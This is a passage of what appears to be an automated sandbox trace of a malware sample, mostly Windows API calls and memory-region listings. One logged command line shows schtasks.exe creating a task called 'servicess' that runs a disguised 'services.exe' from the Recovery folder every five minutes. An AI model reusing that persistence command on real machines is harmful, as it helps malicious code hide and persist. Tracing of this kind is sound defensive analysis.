hHeap=0x3b0000) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b20) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b20) returned 0x20 [0148.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b20 | out: hHeap=0x3b0000) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bb0) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.279] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5bb0) returned 0x20 [0148.279] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bb0 | out: hHeap=0x3b0000) returned 1 [0148.279] GetProcessHeap () returned 0x3b0000 [0148.279] GetProcessHeap () returned 0x3b0000 [0148.279] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c10) returned 1 [0148.279] GetProcessHeap () returned 0x3b0000 [0148.279] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c10) returned 0x20 [0148.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c10 | out: hHeap=0x3b0000) returned 1 [0148.280] GetProcessHeap () returned 0x3b0000 [0148.280] GetProcessHeap () returned 0x3b0000 [0148.280] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c70) returned 1 [0148.280] GetProcessHeap () returned 0x3b0000 [0148.280] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c70) returned 0x20 [0148.280] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c70 | out: hHeap=0x3b0000) returned 1 [0148.280] GetProcessHeap () returned 0x3b0000 [0148.280] GetProcessHeap () returned 0x3b0000 [0148.280] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ca0) returned 1 [0148.281] GetProcessHeap () returned 0x3b0000 [0148.281] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ca0) returned 0x20 [0148.281] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ca0 | out: hHeap=0x3b0000) returned 1 [0148.281] GetProcessHeap () returned 0x3b0000 [0148.281] GetProcessHeap () returned 0x3b0000 [0148.282] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbaa0) returned 1 [0148.282] GetProcessHeap () returned 0x3b0000 [0148.282] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbaa0) returned 0x18 [0148.282] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbaa0 | out: hHeap=0x3b0000) returned 1 [0148.282] GetProcessHeap () returned 0x3b0000 [0148.285] GetProcessHeap () returned 0x3b0000 [0148.286] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5be0) returned 1 [0148.286] GetProcessHeap () returned 0x3b0000 [0148.302] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5be0) returned 0x20 [0148.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5be0 | out: hHeap=0x3b0000) returned 1 [0148.303] GetProcessHeap () returned 0x3b0000 [0148.303] GetProcessHeap () returned 0x3b0000 [0148.303] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba20) returned 1 [0148.303] GetProcessHeap () returned 0x3b0000 [0148.303] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba20) returned 0x18 [0148.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba20 | out: hHeap=0x3b0000) returned 1 [0148.303] exit (_Code=0) Thread: id = 168 os_tid = 0xc54 Process: id = "40" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x408ee000" os_pid = "0xc5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3385 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3386 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3387 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3388 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3389 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3390 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3391 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3392 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3393 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3394 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3395 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3396 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3397 start_va = 0x220000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3398 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3399 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3400 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3401 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3402 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3403 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3404 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3405 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3406 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3407 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3408 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3409 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3410 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3411 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3412 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3413 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3414 start_va = 0x470000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3415 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3416 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3417 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3418 start_va = 0x470000 end_va = 0x5f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 3419 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 3420 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3421 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3422 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3423 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3424 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3425 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3427 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3428 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3429 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3430 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3431 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3432 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3433 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3434 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3435 start_va = 0x1ec0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 3436 start_va = 0x1fa0000 end_va = 0x207efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 3437 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3438 start_va = 0x2150000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 3439 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3440 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3441 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3442 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3443 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3444 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3445 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3446 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 169 os_tid = 0xc4c [0148.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21f9e0 | out: lpSystemTimeAsFileTime=0x21f9e0*(dwLowDateTime=0x25cebd00, dwHighDateTime=0x1d8a92a)) [0148.312] GetCurrentProcessId () returned 0xc5c [0148.312] GetCurrentThreadId () returned 0xc4c [0148.312] GetTickCount () returned 0x1389c73 [0148.312] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21f9e8 | out: lpPerformanceCount=0x21f9e8*=2062717545302) returned 1 [0148.312] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0148.312] __set_app_type (_Type=0x1) [0148.312] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0148.313] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0148.313] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0148.313] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0148.314] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0148.314] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0148.314] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0148.314] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0148.314] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0148.314] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0148.314] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0148.314] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0148.315] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0148.315] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0148.315] WinSqmIsOptedIn () returned 0x0 [0148.315] GetProcessHeap () returned 0x370000 [0148.315] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38b9d0 [0148.315] SetLastError (dwErrCode=0x0) [0148.316] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0148.316] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0148.316] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0148.316] VerifyVersionInfoW (in: lpVersionInformation=0x21f1a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f1a0) returned 1 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38b9f0 [0148.316] lstrlenW (lpString="") returned 0 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x2) returned 0x38ba10 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385960 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38ba30 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385990 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x3859c0 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x3859f0 [0148.316] GetProcessHeap () returned 0x370000 [0148.316] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a20 [0148.316] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38ba50 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a50 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a80 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ab0 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ae0 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38ba70 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b10 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b40 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b70 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ba0 [0148.317] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.317] SetLastError (dwErrCode=0x0) [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385bd0 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c00 [0148.317] GetProcessHeap () returned 0x370000 [0148.317] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c30 [0148.317] GetProcessHeap () returned 0x370000 [0148.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c60 [0148.318] GetProcessHeap () returned 0x370000 [0148.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c90 [0148.318] GetProcessHeap () returned 0x370000 [0148.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38ba90 [0148.318] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.318] GetProcessHeap () returned 0x370000 [0148.318] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x208) returned 0x38bc30 [0148.318] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0148.318] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0148.319] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0148.319] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0148.321] GetProcessHeap () returned 0x370000 [0148.321] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x74e) returned 0x38c1e0 [0148.321] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0148.321] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x38c1e0 | out: lpData=0x38c1e0) returned 1 [0148.321] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0148.321] VerQueryValueW (in: pBlock=0x38c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f288, puLen=0x21f2f0 | out: lplpBuffer=0x21f288*=0x38c57c, puLen=0x21f2f0) returned 1 [0148.324] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.324] _vsnwprintf (in: _Buffer=0x38bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f268 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0148.324] VerQueryValueW (in: pBlock=0x38c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f2f8, puLen=0x21f2e8 | out: lplpBuffer=0x21f2f8*=0x38c3a8, puLen=0x21f2e8) returned 1 [0148.324] lstrlenW (lpString="schtasks.exe") returned 12 [0148.324] lstrlenW (lpString="schtasks.exe") returned 12 [0148.324] lstrlenW (lpString=".EXE") returned 4 [0148.324] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0148.325] lstrlenW (lpString="schtasks.exe") returned 12 [0148.325] lstrlenW (lpString=".EXE") returned 4 [0148.325] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.325] lstrlenW (lpString="schtasks") returned 8 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385d80 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38caf0 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cb20 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cb50 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bab0 [0148.326] _memicmp (_Buf1=0x38bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa0) returned 0x38c030 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cb80 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cbb0 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cbe0 [0148.326] GetProcessHeap () returned 0x370000 [0148.326] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bad0 [0148.326] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.327] GetProcessHeap () returned 0x370000 [0148.327] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x200) returned 0x38d2c0 [0148.327] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0148.327] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0148.327] GetProcessHeap () returned 0x370000 [0148.327] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x30) returned 0x387a80 [0148.327] _vsnwprintf (in: _Buffer=0x38c030, 